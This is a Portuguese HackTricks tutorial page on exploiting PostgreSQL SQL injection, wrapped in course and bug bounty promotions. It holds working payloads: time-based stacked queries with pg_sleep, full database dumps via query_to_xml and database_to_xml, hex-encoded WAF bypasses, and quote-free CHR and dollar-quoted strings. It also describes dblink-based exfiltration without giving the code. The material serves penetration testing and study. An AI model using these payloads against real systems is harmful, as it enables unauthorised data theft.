7.7 KiB
Injeção PostgreSQL
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub HackTricks e HackTricks Cloud.
Dica de bug bounty: inscreva-se no Intigriti, uma plataforma premium de bug bounty criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje e comece a ganhar recompensas de até $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Esta página tem como objetivo explicar diferentes truques que podem ajudá-lo a explorar uma SQLinjection encontrada em um banco de dados postgresql e complementar os truques que você pode encontrar em https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
Interação de Rede - Escalação de Privilégios, Scanner de Portas, Divulgação de Resposta de Desafio NTLM & Exfiltração
dblink
é um módulo PostgreSQL que oferece várias opções interessantes do ponto de vista do atacante. Pode ser usado para conectar-se a outras instâncias PostgreSQL ou realizar conexões TCP.
Essas funcionalidades juntamente com a funcionalidade COPY FROM
podem ser usadas para escalar privilégios, realizar varredura de portas ou capturar respostas de desafio NTLM.
Você pode ler aqui como realizar esses ataques.
Exemplo de Exfiltração usando dblink e objetos grandes
Você pode ler este exemplo para ver um exemplo de CTF de como carregar dados dentro de objetos grandes e depois exfiltrar o conteúdo de objetos grandes dentro do nome de usuário da função dblink_connect
.
Ataques PostgreSQL: Leitura/escrita, RCE, privesc
Confira como comprometer o host e escalar privilégios a partir do PostgreSQL em:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}
Bypass de WAF
Funções de String PostgreSQL
Manipular strings pode ajudar a burlar WAFs ou outras restrições.
Nesta página você pode encontrar algumas funções úteis de Strings.
Consultas Empilhadas
Lembre-se de que o postgresql suporta consultas empilhadas, mas várias aplicações retornarão um erro se 2 respostas forem retornadas quando apenas 1 é esperada. No entanto, você ainda pode abusar das consultas empilhadas via Injeção de Tempo:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
Truques XML
query_to_xml
Esta função retornará todos os dados em formato XML em apenas um arquivo. É ideal se você quiser despejar uma grande quantidade de dados em apenas 1 linha:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Esta função irá despejar todo o banco de dados em formato XML em apenas 1 linha (tenha cuidado se o banco de dados for muito grande, pois você pode causar DoS nele ou até mesmo no seu próprio cliente):
SELECT database_to_xml(true,true,'');
Strings em Hex
Se você pode executar consultas passando-as dentro de uma string (por exemplo, usando a função query_to_xml
). Você pode usar o convert_from para passar a string como hex e contornar filtros dessa maneira:
{% code overflow="wrap" %}
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
{% endcode %}
Aspas proibidas
Se não puder usar aspas para o seu payload, você pode contornar isso com CHR
para cláusulas básicas (a concatenação de caracteres só funciona para consultas básicas como SELECT, INSERT, DELETE, etc. Não funciona para todas as instruções SQL):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
Ou com $
. Estas consultas retornam os mesmos resultados:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de bug bounty **criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><strong>Aprenda a hackear AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>